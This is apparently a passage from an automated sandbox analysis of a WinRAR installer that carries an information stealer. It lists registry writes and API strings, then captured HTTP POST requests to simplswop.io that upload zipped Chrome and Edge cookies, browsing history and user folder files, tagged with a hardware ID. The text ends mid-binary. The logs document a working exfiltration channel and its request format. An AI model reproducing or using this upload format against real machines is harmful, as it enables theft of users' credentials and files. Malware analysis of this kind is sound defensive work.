"SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TLZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TLZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TLZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZH"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZH"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LZH"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.LZH"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LHA"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LHA"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.LHA"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.LHA"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.7Z"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.7Z"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.7Z"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.7Z"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TAR"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TAR"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TAR"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TAR"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.GZ"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.GZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.GZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.GZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TGZ"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TGZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TGZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TGZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.UUE"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.UUE"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.UUE"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.UUE"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.XXE"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.XXE"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.XXE"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.XXE"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.UU"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.UU"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.UU"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.UU"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.BZ2"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.BZ2"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.BZ2"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.BZ2"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TBZ2"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TBZ2"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TBZ2"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TBZ2"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.BZ"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.BZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.BZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.BZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TBZ"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TBZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TBZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TBZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.Z"; Key: "EXIST"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.Z"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.Z"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.Z"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TAZ"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TAZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TAZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TAZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.XZ"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.XZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.XZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.XZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TXZ"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TXZ"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TXZ"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TXZ"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIPX"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIPX"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZIPX"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ZIPX"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZST"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZST"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.ZST"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.ZST"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TZST"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TZST"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.TZST"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.TZST"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.001"; Key: "EXIST"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.001"; Key: "TYPE"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\WINRAR\SETUP\.001"; Key: "SHELLNEW"; Value: "000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.001"; Key: "(DEFAULT)"; Value: "WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR"; Key: "(DEFAULT)"; Value: "WinRAR archive"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%PROGRAMFILES%\WinRAR\WinRAR.exe" "%1""), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\DEFAULTICON"; Key: "(DEFAULT)"; Value: "%PROGRAMFILES%\WinRAR\WinRAR.exe 0"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP"; Key: "(DEFAULT)"; Value: "WinRAR ZIP archive"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%PROGRAMFILES%\WinRAR\WinRAR.exe" "%1""), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\DEFAULTICON"; Key: "(DEFAULT)"; Value: "%PROGRAMFILES%\WinRAR\WinRAR.exe 0"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\.REV"; Key: "(DEFAULT)"; Value: "WinRAR.REV"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.REV"; Key: "(DEFAULT)"; Value: "RAR recovery volume"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.REV\SHELL\OPEN\COMMAND"; Key: "(DEFAULT)"; Value: ""%PROGRAMFILES%\WinRAR\WinRAR.exe" "%1""), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.REV\DEFAULTICON"; Key: "(DEFAULT)"; Value: "%PROGRAMFILES%\WinRAR\WinRAR.exe 1"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER"; Key: "GLOBALASSOCCHANGEDCOUNTER"; Value: "8E00000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "DISPLAYNAME"; Value: "WinRAR 7.10 (64-bit)"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "DISPLAYVERSION"; Value: "7.10.0"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "VERSIONMAJOR"; Value: "0700000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "VERSIONMINOR"; Value: "0A00000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "UNINSTALLSTRING"; Value: "%PROGRAMFILES%\WinRAR\uninstall.exe"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "DISPLAYICON"; Value: "%PROGRAMFILES%\WinRAR\WinRAR.exe"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "INSTALLLOCATION"; Value: "%PROGRAMFILES%\WinRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "NOMODIFY"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "NOREPAIR"; Value: "0100000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "LANGUAGE"; Value: "0000000000"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\WINRAR ARCHIVER"; Key: "PUBLISHER"; Value: "win.rar GmbH"), "test.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\ONYXC3"; Key: "HWID"; Value: "8250790ABB6552085A14E9AACD5F9C89"), "test.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "F88AC69C2B4CDD010000000000000000000000000200000000"), "test.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "9FB341C12B4CDD010000000000000000000000000200000000"), "MicrosoftEdgeSecurity.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US")5b:T99b,Found string "RegEnumValueW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegEnumKeyW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegQueryValueExW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegSetValueExW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegCloseKey" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegDeleteValueW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegDeleteKeyW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "AdjustTokenPrivileges" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "LookupPrivilegeValueW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "OpenProcessToken" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegOpenKeyExW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "RegCreateKeyExW" (Source: winrarx64-setup.exe, API is part of module: ADVAPI32.DLL) Found string "SHFileOperationW" (Source: winrarx64-setup.exe, API is part of module: SHELL32.DLL) Found string "SHGetFileInfoW" (Source: winrarx64-setup.exe, API is part of module: WINDOWS.STORAGE.DLL) Found string "SHBrowseForFolderW" (Source: winrarx64-setup.exe, API is part of module: SHELL32.DLL) Found string "SHGetPathFromIDListW" (Source: winrarx64-setup.exe, API is part of module: WINDOWS.STORAGE.DLL) Found string "ShellExecuteExW" (Source: winrarx64-setup.exe, API is part of module: WINDOWS.STORAGE.DLL) Found string "CoTaskMemFree" (Source: winrarx64-setup.exe, API is part of module: COMBASE.DLL) Found string "IIDFromString" (Source: winrarx64-setup.exe, API is part of module: COMBASE.DLL) Found string "CoCreateInstance" (Source: winrarx64-setup.exe, API is part of module: COMBASE.DLL) Found string "OleUninitialize" (Source: winrarx64-setup.exe, API is part of module: OLE32.DLL) Found string "OleInitialize" (Source: winrarx64-setup.exe, API is part of module: OLE32.DLL) Found string "EndPaint" (Source: winrarx64-setup.exe, API is part of module: USER32.DLL) Found string "DrawTextW" (Source: winrarx64-setup.exe, API is part of module: USER32.DLL) Found string "FillRect" (Source: winrarx64-setup.exe, API is part of module: USER32.DLL)5c:T3660,"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1 Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 2142 Cache-Control: no-cache" with payload::==> "------361EE8FE0000196C93BB4D5BContent-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_Chrome.zip"Content-Type: application/octet-streamPKÅ68]info.jsonMA0Dïò×|]A=;cL*OÚ4Æ»[1,çeæeÞÐ¦Æq-PVUÎ9ÃË4Û)ëßº°@AÙ¥é=8ÑÝèHøLÔ#ÐÕX»,)×ÄÊ?·Ær¯ÅH?î½¡{pbÒ¦+8;½v1 nuqg:íêx!ËËö<+SÏPKr8iCÝPKÅ68]Default/browser_meta.jsonUO]KÃ0ý+XíÉ®W[jYÊ&ÏS±VnÝñQÄÆõ5`Y8õzfçVd«Ùb® Jÿ!wÿæ(¦q`¦Î.<ê<ÌjOüB'ÿð÷üpW_Miì&!Òñ9YÄÇBDtUD¤2ltóGûõÒßZ6ªízn ÷têÌDÈ´m?Ì¯xåA3¦õÎn½û558ÿ`à )Þ(Éb#J.1K~ÙÑEdÆ®ìz!Þ'¦{©=®6Õ¡Ç%Å~æZÖ¿¡Öì`÷Ä~#ºûz÷PKnDb§PKÂ68]Default/cookies/google.com.txtmË¢@E×ÕÿBU<{1Bå)º!¡KÁåõõÓÓNL8\eÞ÷ä;kzÎß³ú/$àÇ³A]dÉHL>Ú9Ü;1QÆ~/_+â:³a¤jvníû~lÜ"MöHà[×uï/2&^ú¿ujº¦+PDFÀH[Î¦-ÊªfîÃ:M®%eSÃ¬åãàõF[ø«ß^W[¹@U¡àXS HòÏ`%m+s¶iÇË°ÃdîJúy.5û$;ÉdY¬¢Ã~I#D.Ã5ÍébCÝuY1µ~º*ÇÓhÔ/ÖwyX´6âÓBe&8ä~XB£-âlÔBºâ¿·ÃÎSjwÕÛÆLo©ª+òðX·½±Æ¢Å;9¯9ÞC.ªóÚÓx´÷GÌc¦tVáüÖ_æ°hæB\úòÜÎY«úñèz¸¬Ç£ñN50llâÏ×V{OîHüªÉáJqøOO,ñ|¥øç|½É<ññøV@Àº\ ÿÎ?!|Ó5ôÄÏ³Ç-üÀÛì\öÝAô*«¦ýº©J¬rÊBnÌ,Y±sw× Ío×´v¹cÅP·áDÝËÞ xB¨|bØk×AëêY]nû¸ýeìPKëôßPKÅ68]r8iCÝinfo.jsonPKÅ68]!êÀØû\ÕDefault/browser_meta.jsonPKÅ68]nDb§Default/history.jsonPKÂ68]ëôßDefault/cookies/google.com.txtPKi------361EE8FE0000196C93BB4D5B--" HTTP/1.1 200 OK Date: Thu 24 Sep 2026 12:50:34 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=16 cfOrigin;dur=434 Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Tu4CPIkkg7CPAP6Xwlo%2FKVfEPxXQuY0jZON3HJUTpPKfN9ZLDuWTiApgDu%2F2gGiG2ER1sqFmByHPdKpP6fCzbeZI5d0qwKtUOxBqoSOy5Y9oK1Wa5sTTk7YfkBDlDek%3D"}]} CF-RAY: a401ea62edf646f8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22737461747573223A226F6B222C2262726F77736572223A224368726F6D65222C2273697A65223A313933317D....... "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1 Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 1149 Cache-Control: no-cache" with payload::==> "------361F10050000196C93BAB5A0Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_FileGrabber.zip"Content-Type: application/octet-streamPKgfLdata/Downloads/desktop.ini}»ÂPDO-øv*øµ+A,´T Q$úñêI@|²ì½»3ÃÌ>îuj¬i³âDHlMíÜqæ@ÊR5wÚÉÄDÜÔîYúæ¢2lâ?fBCÇ«lá¨LBt#öÆ{t+ä]îmË¹IËÃÃê)©7ýæõ]}¸þO"åuLêWYOPKa!PKgfLdata/Documents/desktop.iniA@çô3º¤ èÇê i%hT?¾úV4"Çî¾73ÌìîóÑWOYtR¬³B¯³ÊµQ-éö0©ÝÑFZ³ 0±V°§§8Þ`+æeNU [°îÊ©w¶-M?ÔÉÖ×7ðIÉ¹Ów®oÐpýÐ:¬²gSN+k>E×-ã÷¾æo#4WÍ;]MjþPKoßY[±PKgfLdata/Desktop/desktop.ini}»ÂPDO-øv*¨à£+A,´T Q$úñêI@|²ì½»3ÃÌ>îuj¬i³âDHlMíÜqæ@ÊR5wÚÉÄDÜÔîYúæ¢2lâ?fBCÇ«lá¨LBt#öÆ{t+ä]îmË¹IËÃ>£ê)©7ýæõ]}¸þO"åuª*³PK})àPKgfLa!data/Downloads/desktop.iniPKgfLoßY[±ádata/Documents/desktop.iniPKgfL})àÚdata/Desktop/desktop.iniPKÖ¹------361F10050000196C93BAB5A0--" HTTP/1.1 200 OK Date: Thu, 24 Sep 2026 12:50:34 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=8,cfOrigin;dur=450 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xEiM7Vu6M0rWFtWasnW57CKcFygpA38IP8QTfJsUAlkz7JZ06nO4GXiB7CaVgucRVpKXRK6GcYpJQDahbMiSRisoBHFkeJwpiSEQ1cC5PXaBKTIu8hQTYc8QrZ%2FO%2FqQ%3D"}]} CF-RAY: a401ea654dadad81-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22737461747573223A226F6B222C2262726F77736572223A2246696C6547726162626572222C2273697A65223A3933337D......., "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1 Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 4608 Cache-Control: no-cache" with payload::==> "------361F4A970000196C93BAEF32Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_Edge.zip"Content-Type: application/octet-streamPKå68]info.jsonMA0Dïò×JvWOàÎS¥Bcá¶ñîDËyyti@@AÙp"Ë2gÉ4«¹ÕíxUpXAÀ ìÉbk,àx3:,[º¼kÿ[Ê5±óËñÝÄz!úôà~å£³7]ÁÙáäµáuÓj8Æéµªã{JhÐlOrÁH¼?PK«âÔmÜPKå68]Default/browser_meta.json]]KÃ0ÿÊ!W´]&Ý×(Ì°Á.KnaY2ÒÎÉÄÿîQÔË÷#ç}ÈÛ¦xé0±»³;d{ÁÔ¹È(¥,xQËiQrIÑÞaè)]Æ«ó^TÁa°qÁÒxZCÉ>2j9×Záætò¸ÁíÂõ#UªÁâa½|ÌÀ»Â=CÂí>Å#þ®ÂJ·:¹ïwÄø¯@X±#üM@¶×aw&ZIõî×>Õ³6®uV½V'kÊ¨ÒbÂô42c66!öM´9°Y«}3ÞÑ4ÎÒa^U¡r«kË¨ò©R2çÂØ)I9QvN)¶Îc4ÍÎ½PKÿ-,PKå68]Default/history.json½½Â0_¥dèTMÒj¥:(ÁAD¤Mk0m¤IÍ 